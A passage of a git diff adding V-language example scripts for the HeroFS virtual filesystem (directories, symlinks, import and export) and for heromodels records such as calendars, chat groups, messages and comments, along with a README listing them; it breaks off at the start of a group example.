|
||||
for symlink in all_symlinks {
|
||||
target_type_str := if symlink.target_type == .file { 'file' } else { 'directory' }
|
||||
println('- ${symlink.name} -> ${symlink.target_id} (${target_type_str})')
|
||||
}
|
||||
|
||||
// Check for broken symlinks
|
||||
println('\nChecking for broken symlinks:')
|
||||
for symlink in all_symlinks {
|
||||
is_broken := fs_factory.fs_symlink.is_broken(symlink.id)!
|
||||
println('- ${symlink.name}: ${if is_broken { 'BROKEN' } else { 'OK' }}')
|
||||
}
|
||||
|
||||
// Demonstrate file content retrieval
|
||||
println('\nDemonstrating file content retrieval:')
|
||||
|
||||
// Get the updated API docs file and print its content
|
||||
updated_docs_file := fs_factory.fs_file.get(docs_file.id)!
|
||||
println('Content of ${updated_docs_file.name}:')
|
||||
mut full_content := ''
|
||||
|
||||
for blob_id in updated_docs_file.blobs {
|
||||
blob := fs_factory.fs_blob.get(blob_id)!
|
||||
full_content += blob.data.bytestr()
|
||||
}
|
||||
|
||||
println('---BEGIN CONTENT---')
|
||||
println(full_content)
|
||||
println('---END CONTENT---')
|
||||
|
||||
// Print filesystem information
|
||||
println('\nFilesystem information:')
|
||||
println('Filesystem: ${my_fs.name}')
|
||||
println('Description: ${my_fs.description}')
|
||||
println('Root directory ID: ${my_fs.root_dir_id}')
|
||||
|
||||
println('\n=== HeroFS Advanced Example Completed Successfully! ===')
|
||||
println('This example demonstrated:')
|
||||
println('- Creating a complex directory hierarchy')
|
||||
println('- Creating files with different content types (text, markdown, binary)')
|
||||
println('- Creating symbolic links')
|
||||
println('- Using the find functionality to navigate the filesystem')
|
||||
println('- Advanced file operations: rename, metadata updates, append content')
|
||||
println('- Advanced directory operations: move, rename, check children')
|
||||
println('- Listing operations: files by filesystem, files by MIME type, symlinks')
|
||||
println('- Symlink validation: checking for broken links')
|
||||
println('- Retrieving and displaying file content')
|
||||
|
||||
println('\nAll advanced HeroFS operations are now fully implemented!')
|
||||
}
|
||||
147
examples/hero/herofs/herofs_basic.vsh
Executable file
147
examples/hero/herofs/herofs_basic.vsh
Executable file
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.herofs
|
||||
|
||||
// Basic example of using HeroFS - the Hero Filesystem
|
||||
// Demonstrates creating a filesystem, directories, and files
|
||||
|
||||
fn test_cleanup() ! {
|
||||
herofs.delete_fs_test()!
|
||||
}
|
||||
|
||||
fn test_basic() ! {
|
||||
defer {
|
||||
test_cleanup() or { panic('cleanup failed: ${err.msg()}') }
|
||||
}
|
||||
|
||||
test_cleanup()!
|
||||
|
||||
// Initialize the HeroFS factory for test purposes
|
||||
mut fs_factory := herofs.new()!
|
||||
|
||||
// Create a new filesystem (required for FsBlobMembership validation)
|
||||
mut test_fs := fs_factory.fs.new_get_set(
|
||||
name: 'test_filesystem'
|
||||
description: 'Filesystem for testing FsBlobMembership functionality'
|
||||
quota_bytes: 1024 * 1024 * 1024 // 1GB quota
|
||||
)!
|
||||
println('Created test filesystem with ID: ${test_fs.id}')
|
||||
|
||||
|
||||
assert test_fs.id > 0
|
||||
assert test_fs.root_dir_id > 0
|
||||
|
||||
mut root_dir := test_fs.root_dir()!
|
||||
|
||||
// this means root_dir is automatically there, no need to create
|
||||
|
||||
println(root_dir)
|
||||
}
|
||||
|
||||
test_basic()!
|
||||
|
||||
// // Initialize the HeroFS factory
|
||||
// mut fs_factory := herofs.new()!
|
||||
// println('HeroFS factory initialized')
|
||||
|
||||
// // Create a new filesystem
|
||||
// mut my_fs := fs_factory.fs.new(
|
||||
// name: 'my_documents'
|
||||
// description: 'Personal documents filesystem'
|
||||
// quota_bytes: 1024 * 1024 * 1024 // 1GB quota
|
||||
// )!
|
||||
|
||||
// // Save the filesystem
|
||||
// fs_factory.fs.set(mut my_fs)!
|
||||
// println('Created filesystem: ${my_fs.name} with ID: ${my_fs.id}')
|
||||
|
||||
// // Create root directory
|
||||
// mut root_dir := fs_factory.fs_dir.new(
|
||||
// name: 'root'
|
||||
// fs_id: my_fs.id
|
||||
// parent_id: 0 // Root has no parent
|
||||
// description: 'Root directory'
|
||||
// )!
|
||||
|
||||
// // Save the root directory
|
||||
// fs_factory.fs_dir.set(mut root_dir)!
|
||||
// println('Created root directory with ID: ${root_dir.id}')
|
||||
|
||||
// // Update the filesystem with the root directory ID
|
||||
// my_fs.root_dir_id = root_dir.id
|
||||
// fs_factory.fs.set(mut my_fs)!
|
||||
|
||||
// // Create some subdirectories
|
||||
// mut docs_dir := fs_factory.fs_dir.new(
|
||||
// name: 'documents'
|
||||
// fs_id: my_fs.id
|
||||
// parent_id: root_dir.id
|
||||
// description: 'Documents directory'
|
||||
// )!
|
||||
|
||||
// mut pics_dir := fs_factory.fs_dir.new(
|
||||
// name: 'pictures'
|
||||
// fs_id: my_fs.id
|
||||
// parent_id: root_dir.id
|
||||
// description: 'Pictures directory'
|
||||
// )!
|
||||
|
||||
// // Save the subdirectories
|
||||
// fs_factory.fs_dir.set(mut docs_dir)!
|
||||
// fs_factory.fs_dir.set(mut pics_dir)!
|
||||
|
||||
// // Add subdirectories to root directory
|
||||
// root_dir.directories << docs_dir.id
|
||||
// root_dir.directories << pics_dir.id
|
||||
// fs_factory.fs_dir.set(mut root_dir)!
|
||||
|
||||
// println('Created documents directory with ID: ${docs_dir.id}')
|
||||
// println('Created pictures directory with ID: ${pics_dir.id}')
|
||||
|
||||
// // Create a text file blob
|
||||
// text_content := 'Hello, world! This is a test file in HeroFS.'.bytes()
|
||||
// mut text_blob := fs_factory.fs_blob.new(data: text_content)!
|
||||
|
||||
// // Save the blob
|
||||
// fs_factory.fs_blob.set(mut text_blob)!
|
||||
// println('Created text blob with ID: ${text_blob.id}')
|
||||
|
||||
// // Create a file referencing the blob
|
||||
// mut text_file := fs_factory.fs_file.new(
|
||||
// name: 'hello.txt'
|
||||
// fs_id: my_fs.id
|
||||
// blobs: [text_blob.id]
|
||||
// mime_type: .txt
|
||||
// )!
|
||||
|
||||
// // Save the file
|
||||
// fs_factory.fs_file.set(mut text_file)!
|
||||
// // Associate file with documents directory
|
||||
// fs_factory.fs_file.add_to_directory(text_file.id, docs_dir.id)!
|
||||
// println('Created text file with ID: ${text_file.id}')
|
||||
|
||||
// // Demonstrate filesystem navigation using find
|
||||
// mut fs := fs_factory.fs.get(my_fs.id)!
|
||||
|
||||
// println('\nAll items in filesystem:')
|
||||
// results := fs.find('/', recursive: true)!
|
||||
// for result in results {
|
||||
// type_str := match result.result_type {
|
||||
// .file { 'FILE' }
|
||||
// .directory { 'DIR ' }
|
||||
// .symlink { 'LINK' }
|
||||
// }
|
||||
// println('- ${type_str}: ${result.path} (ID: ${result.id})')
|
||||
|
||||
// // If it's a file, show its content
|
||||
// if result.result_type == .file {
|
||||
// file := fs_factory.fs_file.get(result.id)!
|
||||
// if file.blobs.len > 0 {
|
||||
// blob := fs_factory.fs_blob.get(file.blobs[0])!
|
||||
// content := blob.data.bytestr()
|
||||
// println(' Content: "${content}"')
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
|
||||
// println('\nHeroFS basic example completed successfully!')
|
||||
210
examples/hero/herofs/import_export_example.vsh
Executable file
210
examples/hero/herofs/import_export_example.vsh
Executable file
@@ -0,0 +1,210 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.herofs
|
||||
import os
|
||||
|
||||
// Example demonstrating HeroFS import/export functionality
|
||||
// This shows how to import files from real filesystem to VFS and export them back
|
||||
|
||||
fn main() {
|
||||
// Initialize the HeroFS factory
|
||||
mut fs_factory := herofs.new()!
|
||||
println('HeroFS factory initialized')
|
||||
|
||||
// Create a new filesystem
|
||||
mut my_fs := fs_factory.fs.new(
|
||||
name: 'import_export_demo'
|
||||
description: 'Demonstration filesystem for import/export'
|
||||
quota_bytes: 1024 * 1024 * 1024 // 1GB quota
|
||||
)!
|
||||
|
||||
// Save the filesystem
|
||||
my_fs = fs_factory.fs.set(my_fs)!
|
||||
println('Created filesystem: ${my_fs.name} with ID: ${my_fs.id}')
|
||||
|
||||
// Create root directory
|
||||
mut root_dir := fs_factory.fs_dir.new(
|
||||
name: 'root'
|
||||
fs_id: my_fs.id
|
||||
parent_id: 0 // Root has no parent
|
||||
)!
|
||||
root_dir = fs_factory.fs_dir.set(root_dir)!
|
||||
my_fs.root_dir_id = root_dir.id
|
||||
my_fs = fs_factory.fs.set(my_fs)!
|
||||
|
||||
// Get filesystem instance for operations
|
||||
mut fs := fs_factory.fs.get(my_fs.id)!
|
||||
fs.factory = &fs_factory
|
||||
|
||||
// Create temporary test directory and files on real filesystem
|
||||
test_dir := '/tmp/herofs_import_test_${my_fs.id}'
|
||||
os.mkdir_all(test_dir)!
|
||||
defer {
|
||||
os.rmdir_all(test_dir) or {}
|
||||
}
|
||||
|
||||
// Create test files
|
||||
test_file1 := os.join_path(test_dir, 'hello.txt')
|
||||
test_file2 := os.join_path(test_dir, 'example.v')
|
||||
test_file3 := os.join_path(test_dir, 'README.md')
|
||||
|
||||
// Create subdirectory with files
|
||||
sub_dir := os.join_path(test_dir, 'docs')
|
||||
os.mkdir_all(sub_dir)!
|
||||
test_file4 := os.join_path(sub_dir, 'guide.md')
|
||||
|
||||
// Write test content
|
||||
os.write_file(test_file1, 'Hello, HeroFS Import/Export!')!
|
||||
os.write_file(test_file2, 'fn main() {\n println("Imported V code!")\n}')!
|
||||
os.write_file(test_file3, '# HeroFS Demo\n\nThis file was imported from real filesystem.')!
|
||||
os.write_file(test_file4, '# User Guide\n\nThis is a guide in a subdirectory.')!
|
||||
|
||||
println('\n=== IMPORT OPERATIONS ===')
|
||||
|
||||
// Import single file
|
||||
println('Importing single file: ${test_file1}')
|
||||
fs.import(test_file1, '/imported_hello.txt', herofs.ImportOptions{
|
||||
overwrite: true
|
||||
preserve_meta: true
|
||||
})!
|
||||
|
||||
// Import entire directory recursively
|
||||
println('Importing directory: ${test_dir}')
|
||||
fs.import(test_dir, '/imported_files', herofs.ImportOptions{
|
||||
recursive: true
|
||||
overwrite: true
|
||||
preserve_meta: true
|
||||
})!
|
||||
|
||||
// Verify imports
|
||||
println('\nVerifying imported files...')
|
||||
imported_results := fs.find('/', recursive: true)!
|
||||
for result in imported_results {
|
||||
type_str := match result.result_type {
|
||||
.file { 'FILE' }
|
||||
.directory { 'DIR ' }
|
||||
.symlink { 'LINK' }
|
||||
}
|
||||
println('${type_str}: ${result.path}')
|
||||
}
|
||||
|
||||
// Find specific file types
|
||||
v_files := fs.find('/', recursive: true, include_patterns: ['*.v'])!
|
||||
println('\nFound ${v_files.len} V files:')
|
||||
for file in v_files {
|
||||
println(' - ${file.path}')
|
||||
}
|
||||
|
||||
md_files := fs.find('/', recursive: true, include_patterns: ['*.md'])!
|
||||
println('\nFound ${md_files.len} Markdown files:')
|
||||
for file in md_files {
|
||||
println(' - ${file.path}')
|
||||
}
|
||||
|
||||
println('\n=== EXPORT OPERATIONS ===')
|
||||
|
||||
// Create export directory
|
||||
export_dir := '/tmp/herofs_export_test_${my_fs.id}'
|
||||
os.mkdir_all(export_dir)!
|
||||
defer {
|
||||
os.rmdir_all(export_dir) or {}
|
||||
}
|
||||
|
||||
// Export single file
|
||||
println('Exporting single file to: ${export_dir}/exported_hello.txt')
|
||||
fs.export('/imported_hello.txt', os.join_path(export_dir, 'exported_hello.txt'), herofs.ExportOptions{
|
||||
overwrite: true
|
||||
preserve_meta: true
|
||||
})!
|
||||
|
||||
// Export entire directory
|
||||
println('Exporting directory to: ${export_dir}/exported_files')
|
||||
fs.export('/imported_files', os.join_path(export_dir, 'exported_files'), herofs.ExportOptions{
|
||||
recursive: true
|
||||
overwrite: true
|
||||
preserve_meta: true
|
||||
})!
|
||||
|
||||
// Verify exports
|
||||
println('\nVerifying exported files...')
|
||||
if os.exists(os.join_path(export_dir, 'exported_hello.txt')) {
|
||||
content := os.read_file(os.join_path(export_dir, 'exported_hello.txt'))!
|
||||
println('✓ exported_hello.txt: "${content}"')
|
||||
}
|
||||
|
||||
if os.exists(os.join_path(export_dir, 'exported_files', 'hello.txt')) {
|
||||
content := os.read_file(os.join_path(export_dir, 'exported_files', 'hello.txt'))!
|
||||
println('✓ exported_files/hello.txt: "${content}"')
|
||||
}
|
||||
|
||||
if os.exists(os.join_path(export_dir, 'exported_files', 'example.v')) {
|
||||
content := os.read_file(os.join_path(export_dir, 'exported_files', 'example.v'))!
|
||||
println('✓ exported_files/example.v contains: ${content.split('\n')[0]}')
|
||||
}
|
||||
|
||||
if os.exists(os.join_path(export_dir, 'exported_files', 'docs', 'guide.md')) {
|
||||
content := os.read_file(os.join_path(export_dir, 'exported_files', 'docs', 'guide.md'))!
|
||||
println('✓ exported_files/docs/guide.md: "${content.split('\n')[0]}"')
|
||||
}
|
||||
|
||||
println('\n=== MIME TYPE DETECTION ===')
|
||||
|
||||
// Test MIME type detection
|
||||
test_extensions := ['.txt', '.v', '.md', '.html', '.json', '.png', '.unknown']
|
||||
for ext in test_extensions {
|
||||
mime_type := herofs.extension_to_mime_type(ext)
|
||||
println('Extension ${ext} -> MIME type: ${mime_type}')
|
||||
}
|
||||
|
||||
println('\n=== OVERWRITE BEHAVIOR TEST ===')
|
||||
|
||||
// Test overwrite behavior
|
||||
test_overwrite_file := os.join_path(test_dir, 'overwrite_test.txt')
|
||||
os.write_file(test_overwrite_file, 'Original content')!
|
||||
|
||||
// Import without overwrite
|
||||
fs.import(test_overwrite_file, '/overwrite_test.txt', herofs.ImportOptions{
|
||||
overwrite: false
|
||||
})!
|
||||
|
||||
// Try to import again without overwrite (should fail silently or with error)
|
||||
println('Testing import without overwrite (should fail)...')
|
||||
fs.import(test_overwrite_file, '/overwrite_test.txt', herofs.ImportOptions{
|
||||
overwrite: false
|
||||
}) or { println('✓ Import correctly failed when overwrite=false: ${err}') }
|
||||
|
||||
// Update file content and import with overwrite
|
||||
os.write_file(test_overwrite_file, 'Updated content')!
|
||||
fs.import(test_overwrite_file, '/overwrite_test.txt', herofs.ImportOptions{
|
||||
overwrite: true
|
||||
})!
|
||||
println('✓ Import with overwrite=true succeeded')
|
||||
|
||||
// Test export overwrite behavior
|
||||
export_test_file := os.join_path(export_dir, 'overwrite_export_test.txt')
|
||||
|
||||
// Export first time
|
||||
fs.export('/overwrite_test.txt', export_test_file, herofs.ExportOptions{
|
||||
overwrite: false
|
||||
})!
|
||||
|
||||
// Try to export again without overwrite (should fail)
|
||||
println('Testing export without overwrite (should fail)...')
|
||||
fs.export('/overwrite_test.txt', export_test_file, herofs.ExportOptions{
|
||||
overwrite: false
|
||||
}) or { println('✓ Export correctly failed when overwrite=false: ${err}') }
|
||||
|
||||
// Export with overwrite
|
||||
fs.export('/overwrite_test.txt', export_test_file, herofs.ExportOptions{
|
||||
overwrite: true
|
||||
})!
|
||||
println('✓ Export with overwrite=true succeeded')
|
||||
|
||||
// Verify final content
|
||||
final_content := os.read_file(export_test_file)!
|
||||
println('Final exported content: "${final_content}"')
|
||||
|
||||
println('\n✅ Import/Export demonstration completed successfully!')
|
||||
println('All files have been imported to VFS and exported back to real filesystem.')
|
||||
println('Temporary directories will be cleaned up automatically.')
|
||||
}
|
||||
1
examples/hero/heromodels/.gitignore
vendored
Normal file
1
examples/hero/heromodels/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
heroserver_example
|
||||
69
examples/hero/heromodels/README.md
Normal file
69
examples/hero/heromodels/README.md
Normal file
@@ -0,0 +1,69 @@
|
||||
# Hero Models Examples
|
||||
|
||||
This directory contains example scripts demonstrating how to use the HeroDB models.
|
||||
|
||||
## Available Models
|
||||
|
||||
### Chat Models
|
||||
- `heromodels_chat_group.vsh` - Example usage of ChatGroup model
|
||||
- `heromodels_chat_message.vsh` - Example usage of ChatMessage model
|
||||
|
||||
### Other Models
|
||||
- `heromodels_calendar.vsh` - Example usage of Calendar model
|
||||
- `heromodels_calendar_event.vsh` - Example usage of CalendarEvent model
|
||||
- `heromodels_calendar_event_simple.vsh` - Simple example of CalendarEvent model
|
||||
- `heromodels_calendar_event_with_recurrence.vsh` - Example with recurrence rules
|
||||
- `heromodels_comments.vsh` - Example usage of Comments helper
|
||||
- `heromodels_group.vsh` - Example usage of Group model
|
||||
- `heromodels_group_add_members.vsh` - Example adding members to a group
|
||||
- `heromodels_group_relationships.vsh` - Example group relationships
|
||||
- `heromodels_group_with_members.vsh` - Example group with members
|
||||
- `heromodels_user.vsh` - Example usage of User model
|
||||
|
||||
## Running Examples
|
||||
|
||||
To run any example script, use the following command:
|
||||
|
||||
```bash
|
||||
v -enable-globals run examples/hero/heromodels/<script_name>.vsh
|
||||
```
|
||||
|
||||
For example:
|
||||
```bash
|
||||
v -enable-globals run examples/hero/heromodels/heromodels_chat_group.vsh
|
||||
v -enable-globals run examples/hero/heromodels/heromodels_chat_message.vsh
|
||||
```
|
||||
|
||||
## Chat Models Overview
|
||||
|
||||
### ChatGroup
|
||||
Represents a chat channel or conversation with the following properties:
|
||||
- `chat_type` - Type of chat (public_channel, private_channel, direct_message, group_message)
|
||||
- `last_activity` - Unix timestamp of last activity
|
||||
- `is_archived` - Whether the chat group is archived
|
||||
|
||||
### ChatMessage
|
||||
Represents a message in a chat group with the following properties:
|
||||
- `content` - The message content
|
||||
- `chat_group_id` - Associated chat group ID
|
||||
- `sender_id` - User ID of sender
|
||||
- `parent_messages` - Referenced/replied messages
|
||||
- `fs_files` - IDs of linked files
|
||||
- `message_type` - Type of message (text, image, file, voice, video, system, announcement)
|
||||
- `status` - Message status (sent, delivered, read, failed, deleted)
|
||||
- `reactions` - Message reactions
|
||||
- `mentions` - User IDs mentioned in message
|
||||
|
||||
## Implementation Details
|
||||
|
||||
The chat models are implemented in `lib/hero/heromodels/`:
|
||||
- `chat_group.v` - Contains ChatGroup struct and related functionality
|
||||
- `chat_message.v` - Contains ChatMessage struct and related functionality
|
||||
|
||||
Both models inherit from the base `db.Base` struct and implement the standard CRUD operations:
|
||||
- `new()` - Create a new instance
|
||||
- `set()` - Save to database
|
||||
- `get()` - Retrieve from database
|
||||
- `delete()` - Delete from database
|
||||
- `exist()` - Check if exists in database
|
||||
- `list()` - List all objects of this type
|
||||
33
examples/hero/heromodels/heromodels_calendar.vsh
Executable file
33
examples/hero/heromodels/heromodels_calendar.vsh
Executable file
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
mydb.calendar.db.redis.flushdb()!
|
||||
|
||||
mut o := mydb.calendar.new(
|
||||
name: 'Work Calendar'
|
||||
description: 'Calendar for work events'
|
||||
color: '#FF0000'
|
||||
timezone: 'Europe/Brussels'
|
||||
is_public: false
|
||||
)!
|
||||
|
||||
o.events << 2
|
||||
o.events << 4
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.calendar.db.tags_get(['work', 'important'])!
|
||||
|
||||
// Add comments if needed
|
||||
// o.comments = mydb.calendar.db.comments_get([CommentArg{comment: 'This is a comment'}])!
|
||||
|
||||
mydb.calendar.set(o)!
|
||||
mut o2 := mydb.calendar.get(o.id)!
|
||||
|
||||
println('Calendar ID: ${o.id}')
|
||||
println('Calendar object: ${o2}')
|
||||
|
||||
mut objects := mydb.calendar.list()!
|
||||
println('All calendars: ${objects}')
|
||||
41
examples/hero/heromodels/heromodels_calendar_event.vsh
Executable file
41
examples/hero/heromodels/heromodels_calendar_event.vsh
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
mydb.calendar_event.db.redis.flushdb()!
|
||||
|
||||
mut o := mydb.calendar_event.new(
|
||||
name: 'Team Meeting'
|
||||
description: 'Weekly team meeting'
|
||||
title: 'Team Meeting'
|
||||
start_time: '2023-01-01 10:00:00'
|
||||
end_time: '2023-01-01 11:00:00'
|
||||
location: 'Conference Room A'
|
||||
attendees: [u32(1), u32(2), u32(3)]
|
||||
fs_items: [u32(10), u32(20)]
|
||||
calendar_id: u32(1)
|
||||
status: .published
|
||||
is_all_day: false
|
||||
is_recurring: false
|
||||
recurrence: []
|
||||
reminder_mins: [15, 30]
|
||||
color: '#00FF00'
|
||||
timezone: 'Europe/Brussels'
|
||||
)!
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.calendar_event.db.tags_get(['work', 'meeting', 'team'])!
|
||||
|
||||
// Add comments if needed
|
||||
// o.comments = mydb.calendar_event.db.comments_get([CommentArg{comment: 'This is a comment'}])!
|
||||
|
||||
mydb.calendar_event.set(o)!
|
||||
mut o2 := mydb.calendar_event.get(o.id)!
|
||||
|
||||
println('Calendar Event ID: ${o.id}')
|
||||
println('Calendar Event object: ${o2}')
|
||||
|
||||
mut objects := mydb.calendar_event.list()!
|
||||
println('All calendar events: ${objects}')
|
||||
38
examples/hero/heromodels/heromodels_calendar_event_simple.vsh
Executable file
38
examples/hero/heromodels/heromodels_calendar_event_simple.vsh
Executable file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
// mydb.calendar_event.db.redis.flushdb()!
|
||||
|
||||
mut o := mydb.calendar_event.new(
|
||||
name: 'Team Meeting'
|
||||
description: 'Weekly team meeting'
|
||||
title: 'Team Meeting'
|
||||
start_time: '2023-01-01 10:00:00'
|
||||
end_time: '2023-01-01 11:00:00'
|
||||
location: 'Conference Room A'
|
||||
attendees: [u32(1), u32(2), u32(3)]
|
||||
fs_items: [u32(10), u32(20)]
|
||||
calendar_id: u32(1)
|
||||
status: .published
|
||||
is_all_day: false
|
||||
is_recurring: false
|
||||
recurrence: []
|
||||
reminder_mins: [15, 30]
|
||||
color: '#00FF00'
|
||||
timezone: 'Europe/Brussels'
|
||||
)!
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.calendar_event.db.tags_get(['work', 'meeting', 'team'])!
|
||||
|
||||
// Add comments if needed
|
||||
// o.comments = mydb.calendar_event.db.comments_get([CommentArg{comment: 'This is a comment'}])!
|
||||
|
||||
mydb.calendar_event.set(o)!
|
||||
mut o2 := mydb.calendar_event.get(o.id)!
|
||||
|
||||
println('Calendar Event ID: ${o.id}')
|
||||
println('Calendar Event object: ${o2}')
|
||||
51
examples/hero/heromodels/heromodels_calendar_event_with_recurrence.vsh
Executable file
51
examples/hero/heromodels/heromodels_calendar_event_with_recurrence.vsh
Executable file
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
mydb.calendar_event.db.redis.flushdb()!
|
||||
|
||||
// Create a recurrence rule
|
||||
mut rule := heromodels.RecurrenceRule{
|
||||
frequency: .weekly
|
||||
interval: 1
|
||||
until: 1672570800 + 30 * 24 * 60 * 60 // 30 days from start
|
||||
count: 0
|
||||
by_weekday: [1, 3, 5] // Monday, Wednesday, Friday
|
||||
by_monthday: []
|
||||
}
|
||||
|
||||
mut o := mydb.calendar_event.new(
|
||||
name: 'Team Meeting'
|
||||
description: 'Weekly team meeting'
|
||||
title: 'Team Meeting'
|
||||
start_time: '2023-01-01 10:00:00'
|
||||
end_time: '2023-01-01 11:00:00'
|
||||
location: 'Conference Room A'
|
||||
attendees: [u32(1), u32(2), u32(3)]
|
||||
fs_items: [u32(10), u32(20)]
|
||||
calendar_id: u32(1)
|
||||
status: .published
|
||||
is_all_day: false
|
||||
is_recurring: true
|
||||
recurrence: [rule]
|
||||
reminder_mins: [15, 30]
|
||||
color: '#00FF00'
|
||||
timezone: 'Europe/Brussels'
|
||||
)!
|
||||
|
||||
// Add tags if needed
|
||||
o.tags = mydb.calendar_event.db.tags_get(['work', 'meeting', 'team'])!
|
||||
|
||||
// Add comments if needed
|
||||
// o.comments = mydb.calendar_event.db.comments_get([CommentArg{comment: 'This is a comment'}])!
|
||||
|
||||
mydb.calendar_event.set(o)!
|
||||
mut o2 := mydb.calendar_event.get(o.id)!
|
||||
|
||||
println('Calendar Event ID: ${o.id}')
|
||||
println('Calendar Event object: ${o2}')
|
||||
|
||||
mut objects := mydb.calendar_event.list()!
|
||||
println('All calendar events: ${objects}')
|
||||
36
examples/hero/heromodels/heromodels_chat_group.vsh
Executable file
36
examples/hero/heromodels/heromodels_chat_group.vsh
Executable file
@@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// Create a new chat group
|
||||
mut chat_group := mydb.chat_group.new(
|
||||
name: 'General Discussion'
|
||||
description: 'A public channel for general discussions'
|
||||
chat_type: .public_channel
|
||||
last_activity: 0
|
||||
is_archived: false
|
||||
)!
|
||||
|
||||
// Save to database
|
||||
mydb.chat_group.set(mut chat_group)!
|
||||
println('Created chat group with ID: ${chat_group.id}')
|
||||
|
||||
// Retrieve from database
|
||||
mut chat_group2 := mydb.chat_group.get(chat_group.id)!
|
||||
println('Retrieved chat group: ${chat_group2}')
|
||||
|
||||
// List all chat groups
|
||||
mut chat_groups := mydb.chat_group.list()!
|
||||
println('All chat groups: ${chat_groups}')
|
||||
|
||||
// Update the chat group
|
||||
chat_group2.is_archived = true
|
||||
chat_group2.last_activity = 1672531200
|
||||
mydb.chat_group.set(mut chat_group2)!
|
||||
|
||||
// Retrieve updated chat group
|
||||
mut chat_group3 := mydb.chat_group.get(chat_group2.id)!
|
||||
println('Updated chat group: ${chat_group3}')
|
||||
52
examples/hero/heromodels/heromodels_chat_message.vsh
Executable file
52
examples/hero/heromodels/heromodels_chat_message.vsh
Executable file
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// First create a chat group to reference
|
||||
mut chat_group := mydb.chat_group.new(
|
||||
name: 'General Discussion'
|
||||
description: 'A public channel for general discussions'
|
||||
chat_type: .public_channel
|
||||
last_activity: 0
|
||||
is_archived: false
|
||||
)!
|
||||
|
||||
mydb.chat_group.set(mut chat_group)!
|
||||
|
||||
// Create a new chat message
|
||||
mut chat_message := mydb.chat_message.new(
|
||||
name: 'Hello World Message'
|
||||
description: 'A simple hello world message'
|
||||
content: 'Hello, world!'
|
||||
chat_group_id: chat_group.id
|
||||
sender_id: 1
|
||||
parent_messages: []
|
||||
fs_files: []
|
||||
message_type: .text
|
||||
status: .sent
|
||||
reactions: []
|
||||
mentions: []
|
||||
)!
|
||||
|
||||
// Save to database
|
||||
mydb.chat_message.set(mut chat_message)!
|
||||
println('Created chat message with ID: ${chat_message.id}')
|
||||
|
||||
// Retrieve from database
|
||||
mut chat_message2 := mydb.chat_message.get(chat_message.id)!
|
||||
println('Retrieved chat message: ${chat_message2}')
|
||||
|
||||
// List all chat messages
|
||||
mut chat_messages := mydb.chat_message.list()!
|
||||
println('All chat messages: ${chat_messages}')
|
||||
|
||||
// Update the chat message
|
||||
chat_message2.status = .read
|
||||
mydb.chat_message.set(mut chat_message2)!
|
||||
|
||||
// Retrieve updated chat message
|
||||
mut chat_message3 := mydb.chat_message.get(chat_message.id)!
|
||||
println('Updated chat message: ${chat_message3}')
|
||||
20
examples/hero/heromodels/heromodels_comments.vsh
Executable file
20
examples/hero/heromodels/heromodels_comments.vsh
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
mydb.comments.db.redis.flushdb()!
|
||||
|
||||
mut o := mydb.comments.new(comment: 'Hello, world!')!
|
||||
|
||||
o.tags = mydb.comments.db.tags_get(['tag1', 'tag2'])!
|
||||
|
||||
mydb.comments.set(o)!
|
||||
mut o2 := mydb.comments.get(o.id)!
|
||||
|
||||
println('Comment ID: ${o.id}')
|
||||
println('Comment object: ${o2}')
|
||||
|
||||
// mut objects := mydb.comments.list()!
|
||||
// println(objects)
|
||||
42
examples/hero/heromodels/heromodels_group.vsh
Executable file
42
examples/hero/heromodels/heromodels_group.vsh
Executable file
@@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.heromodels
|
||||
|
||||
mut mydb := heromodels.new()!
|
||||
|
||||
// Create a new group
|
||||
